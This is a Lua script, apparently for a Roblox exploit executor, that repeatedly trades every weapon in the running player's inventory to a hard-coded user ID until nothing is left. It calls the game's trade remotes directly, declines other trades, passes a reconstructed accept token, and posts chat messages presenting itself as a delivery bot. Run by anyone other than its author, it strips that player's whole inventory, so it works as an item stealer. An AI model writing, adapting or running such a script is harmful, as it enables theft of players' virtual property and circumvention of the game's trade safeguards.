print("deliver_all_to_user.lua starting...")

-- 配置
local TARGET_USER_ID = 9465257421
local singleTradeTimeoutSeconds = 60
local tradeInterval = 5

-- 服务
local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local Trade = RS:WaitForChild("Trade")
local GetFullInventory = RS:WaitForChild("Remotes"):WaitForChild("Extras"):WaitForChild("GetFullInventory")
local TextChatService = game:GetService("TextChatService")
local HttpService = game:GetService("HttpService")

local LocalPlayer = Players.LocalPlayer
local LocalPlayerName = LocalPlayer and LocalPlayer.Name or ""
local game_id = game.PlaceId * 3

-- 简单日志
local function log(s)
    local msg = string.format("[%s] %s", os.date("%Y-%m-%d %H:%M:%S"), tostring(s))
    print(msg)
    pcall(function()
        appendfile("log.txt", msg .. "\n")
    end)
end

-- 说话
local function getGeneralChannel()
    local ok, channel = pcall(function()
        if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
            local channels = TextChatService:FindFirstChild("TextChannels")
            return channels and channels:FindFirstChild("RBXGeneral")
        end
        return nil
    end)
    if ok then return channel end
end

local function say(message)
    if type(message) ~= "string" or message == "" then return end
    local channel = getGeneralChannel()
    if channel then
        pcall(function()
            channel:SendAsync(string.sub(message, 1, 200))
        end)
    end
end

-- 在线与就绪检查（按 userId）
local function isUserOnlineAndReadyByUserId(userId)
    local p = Players:GetPlayerByUserId(userId)
    if not p then
        return false, "玩家不在线"
    end
    if not p.Parent then
        return false, "玩家不在当前房间"
    end
    if not p.Character then
        return false, "玩家角色未加载完成"
    end
    local character = p.Character
    if not character:FindFirstChild("Humanoid") then
        return false, "玩家角色Humanoid未加载"
    end
    if not character:FindFirstChild("HumanoidRootPart") then
        return false, "玩家角色HumanoidRootPart未加载"
    end
    local hrp = character.HumanoidRootPart
    if not hrp or not hrp.Position then
        return false, "玩家位置信息无效"
    end
    return true, "玩家在线且已准备就绪"
end

local function waitForUserReadyByUserId(userId, maxWaitSeconds)
    maxWaitSeconds = maxWaitSeconds or 30
    local deadline = os.time() + maxWaitSeconds
    while os.time() < deadline do
        local ok, _ = isUserOnlineAndReadyByUserId(userId)
        if ok then return true end
        task.wait(2)
    end
    return false
end

-- 交易状态
local function getCurTradeStatus()
    local curTradeStatus, tradeData = Trade.GetTradeStatus:InvokeServer()
    return curTradeStatus, tradeData
end

-- 发起交易请求（对指定 userId）
local function sendTradeRequestToUserId(userId)
    local p = Players:GetPlayerByUserId(userId)
    if not p then return false end
    local args = { [1] = p }
    Trade.SendRequest:InvokeServer(unpack(args))
    return true
end

-- 获取库存 Owned 快照
local function getInventorySnapshot()
    local success, result = pcall(function()
        local inventory = GetFullInventory:InvokeServer(LocalPlayerName)
        if inventory and inventory.Weapons and inventory.Weapons.Owned and type(inventory.Weapons.Owned) == "table" then
            return inventory.Weapons.Owned
        end
        return nil
    end)
    if success and type(result) == "table" then
        return result, true
    end
    log("库存获取失败，返回空表")
    return {}, false
end

-- 将指定物品加入交易框（最多4种）
local function addItemsToTradeOptimized(itemsToOffer)
    local MAX_TRADE_SLOTS = 4
    local ITEM_DELAY = 0.15
    local limited = {}
    local c = 0
    for _, item in ipairs(itemsToOffer) do
        if c < MAX_TRADE_SLOTS then
            table.insert(limited, item)
            c = c + 1
        else
            break
        end
    end
    for _, item in ipairs(limited) do
        for k = 1, item.quantity do
            local itemArgs = { [1] = item.itemId, [2] = "Weapons" }
            Trade.OfferItem:FireServer(unpack(itemArgs))
            task.wait(ITEM_DELAY)
        end
    end
    return limited
end

-- 计算当前还剩哪些物品需要发出（把全部清空）
local function computeRemainingToDeliver(invSnapshot)
    local items = {}
    for itemId, qty in pairs(invSnapshot) do
        local q = tonumber(qty) or 0
        if q > 0 then
            table.insert(items, { itemId = itemId, quantity = q })
        end
    end
    return items
end

-- 主逻辑：把所有物品都交易给目标用户
local function runDeliverAll()
    say("开始清仓交易给指定玩家...")
    log("开始清仓交易: targetUserId=" .. tostring(TARGET_USER_ID))

    -- 在线检查
    local online, reason = isUserOnlineAndReadyByUserId(TARGET_USER_ID)
    if not online then
        log("目标玩家未就绪: " .. tostring(reason))
        say("目标不在线或未就绪，稍后再试")
        return
    end

    -- 循环直到清空或放弃
    local startTime = os.time()
    while true do
        -- 超时保护：最多10分钟
        if os.time() - startTime > 600 then
            log("清仓超时，停止")
            say("清仓超时，停止")
            return
        end

        -- 刷新库存
        local invSnapshot = select(1, getInventorySnapshot())
        local remaining = computeRemainingToDeliver(invSnapshot)
        if #remaining == 0 then
            log("已无可交易物品，清仓完成")
            say("清仓完成")
            return
        end

        -- 若当前有交易在进行，先处理
        local curTradeStatus, tradeData = getCurTradeStatus()
        if curTradeStatus == "StartTrade" then
            Trade.DeclineTrade:FireServer()
            task.wait(0.5)
        end

        -- 发起交易请求
        if curTradeStatus == "None" then
            local ok = sendTradeRequestToUserId(TARGET_USER_ID)
            if not ok then
                log("发送交易请求失败")
                return
            end
        elseif curTradeStatus == "ReceivingRequest" then
            Trade.DeclineRequest:FireServer()
            task.wait(0.5)
        end

        -- 等待交易开始
        local tradeStartTime = os.time()
        local tradeAccepted = false
        while os.time() - tradeStartTime < singleTradeTimeoutSeconds do
            local status, data = getCurTradeStatus()
            if status == "StartTrade" then
                tradeAccepted = true

                -- 重新确认对方不放物品（发货逻辑）
                local hasHint = false
                -- 计算这一轮要发出的物品（基于最新快照）
                invSnapshot = select(1, getInventorySnapshot())
                remaining = computeRemainingToDeliver(invSnapshot)
                if #remaining == 0 then
                    break
                end

                local actualItemsOffered = addItemsToTradeOptimized(remaining)

                -- 等待对方接受且其 Offer 为空
                while os.time() - tradeStartTime < singleTradeTimeoutSeconds do
                    local s, d = getCurTradeStatus()
                    local peerAccepted = d and d.Player2 and d.Player2.Accepted
                    local peerOfferCount = 0
                    if d and d.Player2 and type(d.Player2.Offer) == "table" then
                        peerOfferCount = #d.Player2.Offer
                    end

                    if peerOfferCount > 0 and not hasHint then
                        hasHint = true
                        say("Plz do not put any items. I am delivering.")
                    end

                    if peerAccepted and peerOfferCount == 0 then
                        break
                    end
                    task.wait(1)
                end

                if os.time() - tradeStartTime >= singleTradeTimeoutSeconds then
                    break
                end

                -- 接受交易
                local s2, d2 = getCurTradeStatus()
                if s2 ~= "StartTrade" then
                    break
                end
                local acceptArgs = { [1] = game_id, [2] = d2.LastOffer }
                Trade.AcceptTrade:FireServer(unpack(acceptArgs))

                -- 等待回落为 None 才算完成
                while os.time() - tradeStartTime < singleTradeTimeoutSeconds do
                    local s3 = select(1, getCurTradeStatus())
                    if s3 == "None" then
                        break
                    end
                    task.wait(1)
                end

                break
            end
            task.wait(2)
        end

        -- 若未被接受，取消请求并判断是否继续
        if not tradeAccepted then
            local status = select(1, getCurTradeStatus())
            if status == "SendingRequest" then
                Trade.CancelRequest:FireServer()
                task.wait(1)
                say("Plz accept the trade request.")
            end
        end

        task.wait(tradeInterval)
    end
end

-- 启动
task.spawn(function()
    -- 等待目标玩家可用（最多30秒）
    if not waitForUserReadyByUserId(TARGET_USER_ID, 30) then
        log("目标玩家未就绪，取消清仓")
        say("目标玩家未就绪，取消清仓")
        return
    end
    runDeliverAll()
end)



